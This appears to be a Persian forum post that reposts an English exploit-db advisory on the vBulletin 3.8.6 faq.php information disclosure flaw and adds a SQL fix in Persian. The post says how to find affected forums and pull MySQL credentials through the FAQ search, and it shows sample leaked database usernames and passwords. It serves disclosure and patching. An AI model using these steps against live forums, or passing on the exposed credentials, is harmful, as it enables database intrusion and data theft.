درود.
توضیحات باگ :
کد:
#BUG:#########################################################################
 
Is perhaps one or the other known, but I find that really interesting that a great and mighty forum software like vBulletin can undermine the mistake that the MySQL password for any person to be visible.
 
The issue has been published this afternoon and vBulletin responded with a patch on it.
 
The faq.php was only indirectly affected, and serves more as an "issue" because an error was partly responsible for the phrases.
 
Where are the gaps?
 
Let's look at the /install/vbulletin-language.xml file and search for "database_ingo" - what we find? Ah interesting:
 
##################################################################################################
<phrase name="database_ingo" date="1271086009" username="Jelsoft" version="3.8.5"><![CDATA[Database Name: {$vbulletin->config['Database']['dbname']}<br />
Database Host: {$vbulletin->config['MasterServer']['servername']}<br />
Database Port: {$vbulletin->config['MasterServer']['port']}<br />
Database Username: {$vbulletin->config['MasterServer']['username']}<br />
Database Password: {$vbulletin->config['MasterServer']['password']}]]></phrase>
##################################################################################################
 
How do I use this from now?
We look for a forum, which is affected by this vulnerability, click above on "Help" / "FAQ", enter in "search terms" or "Search Word (s):" then "Database"
(or database) and a then see, aha, first hit:
 
##################################################################################################
 
Datenbank-Name: XXXXXXXXX
 
Datenbank-Server: localhost
 
Datenbank-Port: 3306
 
Datenbank-Benutzername: root
 
Datenbank-Kennwort: my4moo
##################################################################################################
 
 
Respectively English beeen at a board:
 
##################################################################################################
Database Name: pro_aXXXXXXXXXg_com
 
Database Host: localhost
 
Database Port: 3306
 
Database Username: pro_aXXXXXXXXXg
 
Database Password: gitl0st
##################################################################################################
 
On what to do with it, I think I need not dwell on it.
 
How do I protect myself?
As already posted a patch from the official vBulletin site, or by a MySQL query:
 
##################################################################################################
آدرس باگ :
http://www.exploit-db.com/exploits/14455/
نام :
vBulletin(R) 3.8.6 faq.php Information Disclosure Vulnerability
نحوه رفع :
به phpmyadmin سایت خود بروید ( از سی پنل ) .
حالا دیتابیس خود را انتخاب کنید .
تب SQL را انتخاب کنید و تایپ کنید :
کد:
DELETE FROM `vb_phrase` WHERE `varname`='database_ingo'
اگر درست نشد Patch Level 1 را نصب کنید
موفق باشید.